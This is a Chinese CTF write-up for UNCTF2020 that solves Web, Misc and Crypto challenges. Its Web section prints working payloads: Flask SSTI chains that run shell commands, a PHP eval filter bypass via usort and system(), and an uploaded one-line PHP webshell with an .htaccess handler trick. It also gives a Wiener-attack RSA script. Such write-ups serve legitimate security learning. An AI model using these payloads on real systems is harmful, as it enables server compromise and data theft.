UNCTF2020-11月公开赛WriteUp


[toc]

Web

easy_ssrf(目录穿越)

进入题目,直接给你源码:

image-20201110112624041

过滤了一堆伪协议,还要求我们传过去的参数url里面必须包含unctf.com,这就简单了,我们直接用include函数和file_get_contents函数的一个特性即可绕过,如下示例:

//index.php
<?php
include($GET[whoami]);
?>

如果我们传如下值:

index.php?whoami=bunny/../flag

那么这里就会相当于包含当前目录里的bunny目录下的上一级目录里面的flag文件(绕过来绕过去也就是当前目录里的flag文件),就可以成功绕过代码对于whoami参数的值中必须有bunny关键字的限制:

image-20201110113926544

file_get_contents函数也有这个特性:

image-20201110114015610

不仅可以读取当前目录下的文件,还可以实现目录穿越,读取其他目录的文件。

所以我们就可以用以上特性绕过题目中参数url里面必须包含unctf.com的限制,即:

/?url=unctf.com/../../../../../../../flag

image-20201110114135602

如上图,得到flag。

easyunserialize(特殊的php反序列化逃逸)

进入题目,给出源码:

image-20201110150234833

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

题目代码很简单,定义了一个类,只要让password属性值为easy,便可以得到flag。并且,我们在代码的最后可以看到代码声明了一个对象并对其进行了序列化,然后再经过filter()函数的过滤,将challenge替换为easychallenge,最后在进行反序列化。这里就存在了php反序列化字符串逃逸的问题,我们只需要通过GET构造uname属性的值,便可以间接的修改password属性的值,但是这里有一个需要注意的地方,我们继续往下看。

所以,我们构造如下payload即可得到flag:

/?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}

image-20201110151415828

注意:这里由于";s:8:"password";s:4:"easy";}的长度为29,而输入一个challenge可以逃逸出4个字符,而29除以4不能整除,所以我们要在最后面在加上3个}来展位:

<?php
class a
{
    public $uname = 'challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}';
    public $password = 'easy';

}
$poc = new a();

echo str_replace('challenge','easychallenge', serialize($poc));
?>

得到

O:1:"a":2:{s:5:"uname";s:104:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}}}}";s:8:"password";s:4:"easy";}

easyflask(|attr绕过)

进入题目:

image-20201117205525373

开始以为是flask session伪造,后来发现不是。扫目录发现login目录和register目录,并且发现可以直接注册admin,注册admin:

image-20201117205714887

登录admin,显示如下:

image-20201117205816853

我们访问/secret_route_you_do_not_know路由:

image-20201117205837932

我们猜测应该是传个guess参数,我们输入?guess=1试试,发现果然:

image-20201117205935502

经测试这里存在ssti:

image-20201117210015447

爆破一下,发现以下这些字符都被过滤了:

[    __    " 

下面我们开始构造payload,先写出payload的原型:

{{''.__class__.__base__.__subclasses__()[xxx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

对于该题,由于中括号 [被过滤了,我们可以用__getitem__()来绕过,类似如下:

{{''.__class__.__base__.__subclasses__().__getitem__(xxx).__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

但是又由于该题还过滤了上下划线 __ 所以我们要用一个新东西配合request对象来绕过。

这个新东西就是 |attr,可用来同时绕过双下划线 __[,例:

{{()|attr(request.values.name1)}}&name1=__class__

等同于 :

{{()[request.args.name1]}}&name1=__class__

即等同于:

{{().__class__}}

所以最终的payload初定为如下:

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(xxx)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat ./flag.txt').read()

接下来我们编写如下脚本来遍历一下可用于执行命令的类:

import requests
import time

for i in range(1, 500):
    url = "http://4a3a10bf-0879-475a-af14-363bcf92ca3f.node1.hackingfor.fun/secret_route_you_do_not_know?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(" + str(i) + ")|attr(request.args.x5)|attr(request.args.x6)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__"
    r = requests.get(url=url)
    time.sleep(0.1)
    if 'os' in r.text:
        print(str(i))

得到如下:

64
65
66
67
68
79
80
81
83
117
......

我们随便用一个117号,完成我们最终的paylaod:

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat ./flag.txt').read()

执行如下,得到flag:

image-20201118103032057

easyeval(命令执行中的文件包含)

进入题目给出源码如下:

image-20201118105912142

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

有两个过滤点:

  1. 不能利用带有括号的函数。所以我们可以利用echo “xxx”输出内容或include “xxx.php”包含文件。
  2. 输出内容中不能有flag,所以我们可以利用编码绕过。

ob_start函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。所以这里将我们读取到的flag.php里的内容进行了过滤,要求输出内容中不能有flag,所以我们可以利用编码绕过。

而对于那个eval()命令执行点,关于命令执行可以用include传参绕过的方式即:

GET: ?cmd=include "$_POST[b]";

POST: b=php://filter/read=convert.base64-encode/resource=flag.php

所以最终我们的payload为:

/?a=include "php://filter/read=convert.base64-encode/resource=flag.php";

image-20201118110511274

如上图,成功将flag.php内容的base664编码格式,解码即可得到flag:

image-20201118110623883

L0vephp(利用PHP5.6 变长参数特性展开数组绕过长度限制)

进入题目,得到如下:

image-20201121180020298

一开始提示了读取源码,但是没有说明参数之类的东西,查看源码可以发现在最后一行有一段 base85 的编码,解一下就是 get action,于是想到文件包含,并且通过目录扫描我们找到了flag.php,所以我们可以用quoted-printable-encode将flag.php源码读出来(过滤了base):

/?action=php://filter/convert.quoted-printable-encode/resource=flag.php

image-20201121182549260

整理后得到如下:

<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>

发现flag是个假的,并且发现了hint,是个十六进制,我们转字符串得到1nD3x.php,访问它得到如下源码:

image-20201121182809646

<?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/'); 
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
    die('Too long');
}

foreach ($blacklist1 as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/m', $code)) { 
        die('WTF???'); 
    } 
} 

foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}

@eval($code);
?>

我们在最后发现一个代码执行点,但是传过去的code过滤了很多,不仅限制了传过去的字符串最长不能超过16,而且不能用eval或assert,那怎么执行命令。

其实这道题目想考的是 php 5.6的变长参数特性,具体原理可以参考一下这篇文章:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html#_5

基本原理就是变长参数。PHP5.6新引入了一个特性,即在PHP中可以使用 func(...$arr) 这样的方式,将 $arr 数组展开成多个参数,然后依次传入func函数,实现变长参数。

我们构造如下payload:

GET: ?1[]=test&1[]=system('ls /');&2=assert

POST: code=usort(...$_GET);

usort()函数使用用户自定义的比较函数对数组中的值进行排序,我们通过如上payload构造出了如下结构:

usort(array(test,system('ls /')),'assert');

这样就会造成assert命令执行。

如下图,命令执行成功:

image-20201121185204658

读取flag:

image-20201121185232313

ezphp(弱类型比较)

进入题目,即给出源码:

image-20201110154151256

<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

这个题太坑了!

乍一看代码,这也太简单了吧,我们直接传一个数组序列化之后的字符串到data里面,然后让反序列化得到的username等于admin、password等于password就能得到flag。

<?php
$a = array("username"=>"admin","password"=>"password");
$data = serialize($a);
?>
// 得到: a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}

而经测试却不对:

image-20201110154537047

然后就在这里卡了好久,最终在网上搜到了相似的题目:

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
 { print_r($flag); }

要求user和password反序列化后等'???' ?这就是说我们不知道username和password到底是什么,所以他给出了三个问号。这里由于它是==弱类型比较,所以我们可以用布尔值true与任意字符串都弱类型相等的特性来绕过,即payload:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

即可绕过,得到flag。

现在知道了,原来题目中我们并不知道username和password的确切的值,我们要用php绕类型比较进行绕过,构造paylaod:

<?php
$a = array("username"=>True,"password"=>True);
echo serialize($a);
?>
// 得到: a:2:{s:8:"username";b:1;s:8:"password";b:1;}

初入参数即可得到flag:

image-20201110155215289

easy_upload

进入题目,一个文件上传:

image-20201113180512393

尝试上传webshell:

image-20201113180651546

报错说文件类型错误,应该是要修改Content-Type来进行文件类型绕过,我们修改Content-Type为image/gif后再次尝试:

image-20201113181222923

发现还是报错,应该是过滤了php文件,我们尝试上传图片马:

image-20201113181507172

看来,代码过滤了“ph”,所以我们要有php段标签“<?=”来绕过,还过滤了“>”,所以我们就把php代码最后面的“?>”去掉,也就是图片马中的内容为:

GIF89a
<?= @eval($_POST["whoami"]);

上传成功,且保存的目录为uploads/1b5337d0c8ad813197b506146d8d503d

image-20201113181821386

然后上传.htaccess,其内容为:

AddType application/x-httpd-p\
hp .gif

(这里由于后台过滤了“ph”,所以我们要用反斜杠\来绕过)

上传,抓包并修改文件类型,如下图上传成功:

image-20201113182147075

最后连接蚁剑,得到flag:

image-20201113182301170

image-20201113182315082

ezfind

进入题目:

image-20201113185830054

image-20201113190540118

这题很sb,后台判断的源码类似如下:

if(!(is_file($name)===false)){
    echo flag
}else{
    no flag
}

只要(is_file($name)===false)为假那么整个if判断语句就为真,就能输出flag。

is_file() 函数用于检查指定的文件是否是常规的文件。如果文件是常规的文件,该函数返回 TRUE。该函数可以被数组绕过,遇到数组就报错返回false。

所以我们在url中输入/?name[]=sb,即可爆出flag:

image-20201113190626365

Misc

baba_is_you

下载图片,winhex打开,在最后面有一个链接,访问该链接,在评论区即可得到flag。

爷的历险记

下载得到一个小游戏:

image-20201110171930489

image-20201110171944862

你可以玩,玩出flag。也可以直接用FileLocator工具搜“unctf”,如下得到flag:

image-20201110172155160

阴阳人编码

下载附件,得到如下:

image-20201110170721707

就这?这他妈是什么啊!

我们联想到了Ook编码,例:

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

该编码只有三种元素,如下:

  • Ook.
  • Ook?
  • Ook!

所以,我们可以将题目给你的txt中的“就这.”替换为“Ook.”,“就这¿”替换为“Ook?”,“不会吧!”替换为“Ook!”,那么我们就得到了如下完整的Ook编码:

image-20201110171248943

解码后得到flag:

image-20201110171401342

躲猫猫

下载附件,得到一个xlsx表,这种office文档类的题我们直接就想到把他们当做压缩文件的打开。如下,将该表修改后缀为.zip,然后解压得到如下一大堆文件:

image-20201110172556919

然后还是直接用FileLocator工具搜“flag”,即可得到flag的base64编码:

image-20201110172818372

解密即可得到flag。

零(零宽字符加密)*

下载附件“零.txt”,得到如下文字:

image-20201110192315448

啥也没看出来。我们在看看他的题目——“零”,会不会是零宽字符加密(也叫隐藏字符加密)呢?

零宽字符是一种在浏览器中不打印的字符,大致相当于display-none,在许多文本应用中也不显示,比如邮箱、QQ、微信、文本编辑器(除了vim)等。详情请见:https://jasonkayzk.github.io/2020/09/29/使用零宽字符实现文本隐藏加密

我们将这个“零.txt”用vim打开,可以看到确实隐藏了很多东西:

image-20201110200838586

我们用在线解密网站可解密零宽字符加密的内容,直接将txt里的内容全选复制进去即可:

image-20201110201600736

如上图所示,得到flag。

网络深处(Tupper自指公式造图)

下载附件,得到如下几个文件:

image-20201117172240345

先看那个txt:

image-20201117172328080

内容如下:

题目内故事纯属虚构,完全架空。

你是一名学生,你在夜间路过一个电话亭,一个人鬼鬼祟祟的进入电话亭拨通了一个电话又拿出手机录了音,他反常的行为引起了你的注意,他走后你决定去电话亭看看。
电话亭里又一个皱巴巴的纸条,上面写着一串数字:636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871,这很可能是刚才的人不小心丢在这里的,这显然不是电话号码,这使你更加好奇,你决定看看他拨的是什么电话号码。
你按了一下重拨键,想看看他拨打的电话号码,但是这个公用电话的屏幕坏了,之传出了一段拨号音,你迅速挂掉电话又重拨了一次并录下了拨号音。
回到寝室的你像弄清楚字条的含义,看来只有得到他拨打的电话才能搞明白字条的含义了。
得到电话号码以后,你拨通了他,里面传出一段杂音,一筹莫展的你决定将这件奇怪的事情告诉警察。

# 电话号码就是压缩包密码

说电话号码就是压缩包密码,我们听一听那个名为“拨号音.wav”的音频,发现里面是就是电话拨号的声音,我们要靠声音辨认出拨的号码。靠人耳辨别是什么号码,简直白日做梦,所以我们要用dtmf2num.exe工具:

image-20201117172712423

如上图所示,最终听出的电话号码为15975384265,我们利用这个电话号码将那个压缩包解压后得到一个txt和另一个音频:

image-20201117172910706

txt内容如下:

你是一名警察,前段时间有一个学生上报了一个可疑事件,一个人鬼鬼祟祟的打了一通电话又录了音,离开时不小心落下一个意义不明的字条。这名学生给了你一段拨号音,拨号音得到的电话号码,以及那个奇怪的字条。你拨通了那段电话并录了音,里面传出一段刺耳的奇怪录音,录音中可能就有关于字条破解方式的提示,你决定找到字条的秘密。
破解了字条以后,得到一个似曾相识的字符串。

# 得到的字符串就是flag,flag格式为flag{}

你认得这字符串,是某种处理过的字符串,解码以后出现了一个熟悉的单词,看来有必要查查这个人了。

# 不能再往下出了,有缘再见吧

通过txt,我们知道,在音频中蕴含着一个极大的线索,用于破解刚开始那串数字。

单纯听听这段音频是啥也听不出来的,我们用 audacity 音频文件打开 ,查看波形,没发现啥:

image-20201117173332188

于是先到音频转换隐写,切换到频谱图(将波形图转换为频谱图)去观察:

image-20201117174542556

如上图,发现猫腻,发现一个关键词 tupper,一开始还不知道是啥意思,于是直接百度 tupper 经过多番搜索,终于 找到了 Tupper自我指涉公式造图(其实那串神秘数字就是 k)

附一篇大佬的介绍Tupper自我指涉公式造图原理

于是上脚本:

"""
 Copyright (c) 2012, 2013 The PyPedia Project, http://www.pypedia.com
 <br>All rights reserved.

 Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

 # Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
 # Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
 ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 http://www.opensource.org/licenses/BSD-2-Clause
 """

__pypdoc__ = """
 Method: Tupper_self_referential_formula
 Link: http://www.pypedia.com/index.php/Tupper_self_referential_formula
 Retrieve date: Tue, 11 Mar 2014 03:15:49 +0200

 Plots the [http://en.wikipedia.org/wiki/Tupper's_self-referential_formula Tupper's_self-referential_formula]:
 : <math>{1\over 2} < \left\lfloor \mathrm{mod}\left(\left\lfloor {y \over 17} \right\rfloor 2^{-17 \lfloor x \rfloor - \mathrm{mod}(\lfloor y\rfloor, 17)},2\right)\right\rfloor</math>

 The plot is the very same formula that generates the plot. 

 [[Category:Validated]]
 [[Category:Algorithms]]
 [[Category:Math]]
 [[Category:Inequalities]]

 """


def Tupper_self_referential_formula():
    k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
    # love yiran


    def f(x, y):
        d = ((-17 * x) - (y % 17))
        e = reduce(lambda x, y: x * y, [2 for x in range(-d)]) if d else 1
        f = ((y / 17) / e)
        g = f % 2
        return 0.5 < g


    for y in range(k + 16, k - 1, -1):
        line = ""
        for x in range(0, 107):
            if f(x, y):
                line += "@"
            else:
                line += " "
        print(line)

# Method name =Tupper_self_referential_formula()
if __name__ == '__main__':
    # print __pypdoc__

    returned = Tupper_self_referential_formula()
    if returned:
        print(str(returned))

执行后,得到如下:

image-20201117175217146

远看即可得到flag。

EZ_IMAGE(gaps拼图)

下载附件得到225张图(15x15):

image-20201117171344034

很明显拼图可以得到flag,通过暴力手撸当然可以得到flag,几个小时的事情,这边介绍另一种方法,主要用到了kali上的montage和gaps

montage安装:

apt-get install graphicsmagick-imagemagick-compat

gaps安装:https://github.com/nemanja-m/gaps

首先用montage将225张图片合成,*代表所有图片名称:

montage *.jpg -tile 15x15 -geometry +0+0 flag.jpg

得到如下:

image-20201117171449852

然后使用gaps拼图

gaps --image=flag.jpg --size=60 --save

image-20201117171536227

最终得到如下拼好的图:

image-20201117171815339

并得到flag。

mouse_click(USB流量)

USB流量:鼠标流量和键盘流量

USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信、USB无线网卡网络传输内容等。

下载题目,得到一个usb流量包:

image-20201117175950854

用wireshark打开:

image-20201117180026636

如上图,打开之后可以看到全是USB协议。

USB协议的数据部分在Leftover Capture Data域之中:

image-20201117180339356

鼠标数据包的数据长度为4个字节

解决本题需要把鼠标流量还原出来,然而鼠标与键盘不同,鼠标移动时表现为连续性,与键盘击键的离散性不一样,不过实际上鼠标动作所产生的数据包也是离散的,毕竟计算机表现的连续性信息都是由大量离散信息构成的。

我们使用wireshark提供的kali命令行工具tshark,将Leftover Captuer Data数据导出来:

tshark -r mouse_click.pcapng -T fields -e usb.capdata > data.txt
tshark -r mouse_click.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > data.txt # 提取并去除空行

建议用第二条命令。

image-20201117181656368

得到十六进制的文件data.txt:

image-20201117182005268

一般提取出来的usb数据包会有冒号,格式为 xx:xx:xx:xx,但是这里没有,所以我们要编写一个脚本给他加上:

f = open("data.txt","r")
f2 = open("output.txt","w")
while 1:
    line = f.readline().strip()
    if line:
        if len(line) == 8:   # 鼠标流量的话len为8,键盘为16
            out = ''
            for i in range(0,len(line),2):
                if i+2 != len(line):
                    out += line[i]+line[i+1]+":"
                else:
                    out += line[i]+line[i+1]
            f2.write(out)
            f2.write("\n")
        else:
            break

f2.close()

执行后得到的output.txt中的内容还是真正的usb数据包格式:

image-20201117201613453

由于每一个鼠标数据包的数据区有四个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。

所以,接下来我们需要将usb鼠标流量转换为xy坐标,供gnuplot来画图。

执行如下脚本将usb鼠标流量转换为xy坐标:

nums = []
keys = open('output.txt','r')
posx = 0
posy = 0
for line in keys:
    if len(line) != 12 :
         continue
    x = int(line[3:5],16)
    y = int(line[6:8],16)
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 :
        print posx , posy
keys.close()

得到如下坐标:

image-20201117201738118

最后,将坐标保存下来,运行 gnuplot 将图像绘制出来

gnuplot> plot "xy.txt"
gnuplot>

得到如下图,像是flag:

image-20201117202122512

很显然,图像反了。对其垂直翻转一下,flag就出了:

img

倒影

下载附件得到一个“倒影.exe ”:

image-20201117184225097

用010editor打开,发现 FF D8 FF E0 的文件头,显然这是一张 jpg:

image-20201117184246599

往后拉,发现最后有一串base64编码字符串:

image-20201117184317063

DAwMDAwMDAwMEI0MDAwMDAwQTUwMDEwMDAxMDAwMDAwMDAwNjA1MEI0MDUxMDZENkE5RUEyNEU1NzY3MTA2RDdBRDU4QUMyMjk0MDEwNkQ3QUQ1OEFDMjI5NDAwMDgxMDAxMDAwMDAwMDAwMDAwMjAwQTA0Nzg3NDdFMjc2MTZDNjY2MDAwMDAwMDAwMDAwMDAwMjAwMDAwMDAwMDAwMDAwNDIwMDgwMDAwMDAwOTEwMDAwMDA1Mjk3RDQ1MzVFMTU1NUU1QzkwMDAwODAxMDAwQTAwMEYzMjAxMEI0MDVCNEVDQzdFOTg4OUVERjFCQTMwQzZGRjcxODM2RUJDRkU5QTczNUVGRDZFNTAxQ0UxNDEwOTUwNTgyNzc2NEI2OURDMzdDNkUyRTQ3ODc0N0UyNzYxNkM2NjYwMDAwMDA4MDAwMDAwMDkxMDAwMDAwNTI5N0Q0NTM1RTE1NTVFNUM5MDAwMDgwMTAwMEEwNDAzMEI0MDU=

解密得到一串十六进制:

0000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000000000200A0478747E27616C666000000000000000200000000000000420080000000910000005297D4535E1555E5C90000801000A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C66600000080000000910000005297D4535E1555E5C90000801000A04030B405

看这串十六进制的最后:04030B405,这显然是504B0304倒过来了,看来这是一个zip压缩包啊,我们将这串十六进制倒置:

hex = "0000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000000000200A0478747E27616C666000000000000000200000000000000420080000000910000005297D4535E1555E5C90000801000A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C66600000080000000910000005297D4535E1555E5C90000801000A04030B405"
print(hex[::-1])

得到:

504B03040A00010800009C5E5551E5354D79250000001900000008000000666C61672E747874E2E6C73CD96B46772850590141EC105E6DFE537A9EFCBE63817FF6C03AB1FDE9889E7CCE4B504B01023F000A00010800009C5E5551E5354D792500000019000000080024000000000000002000000000000000666C61672E7478740A002000000000000100180004922CA85DA7D60104922CA85DA7D6017675E42AE9A6D601504B050600000000010001005A0000004B0000000000

将其复制到winhex里面,保存,得到一个加密的压缩包。

但没有其他提示,直接暴力破解,最终得到密码:(用ARCHPR破解会报错,我们用Ziperello)

image-20201117203554286

打开压缩包即可得到flag:

image-20201117203636779

Crypto

鞍山大法官开庭之缺的营养这一块怎么补

题目描述如下:

image-20201121193322215

观察特征本质上是培根密码,结合标题也在提示,将ot转成ab再解码得到PEIGENHENYOUYINGYANG,再加上flag格式就完事了。

easy_rsa

下载附件得到一个python脚本:

image-20201121193533221

内容如下:

from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long

p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
    a = p + q
    b = p - q
    print(a,b)

n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)

#(a):320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168   

#(b):9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370   

#(c):22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780  

我们通过如下方程式即可得到p和q:

a = p + q
b = p - q

(a+b)/2 = p

所以我们就已知p、q、e和密文c了,我们用如下脚本即可进行解密,得到明文m:

#coding=utf-8
import gmpy2
def Decrypt(c,e,p,q):
    L=(p-1)*(q-1)
    d=gmpy2.invert(e,L)
    n=p*q
    m=gmpy2.powmod(c,d,n)
    flag = str(hex(m)[2:]).decode('hex')
    print flag

a=320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b=9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
e = 65537
q = (a - b) // 2
p = a - q
c=22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
Decrypt(c,e,p,q)

// 得到 UNCTF{welcome_to_rsa}

简单的RSA(低解密指数攻击)

下载附件得到如下:

image-20201121195152487

一般e也就几位,而这里e非常大,我们便可以下意识的想到rsa维纳攻击,即低解密指数攻击。

利用如下脚本即可解密得到明文:

# -*- coding: cp936 -*-
import gmpy2
import time
# 展开为连分数
def continuedFra(x, y):
    cF = []
    while y:
        cF += [x / y]
        x, y = y, x % y
    return cF
def Simplify(ctnf):
    numerator = 0
    denominator = 1
    for x in ctnf[::-1]:
        numerator, denominator = denominator, x * denominator + numerator
    return (numerator, denominator)
# 连分数化简
def calculateFrac(x, y):
    cF = continuedFra(x, y)
    cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))
    return cF
# 解韦达定理
def solve_pq(a, b, c):
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) / (2 * a), (-b - par) / (2 * a)
def wienerAttack(e, n):
    for (d, k) in calculateFrac(e, n):
        if k == 0: continue
        if (e * d - 1) % k != 0: continue
        phi = (e * d - 1) / k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return abs(int(p)), abs(int(q))
    print 'not find!'
time.clock()
e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934

p, q = wienerAttack(e, n)
print '[+]Found!'
print '  [-]p =',p
print '  [-]q =',q
print '  [-]n =',p*q
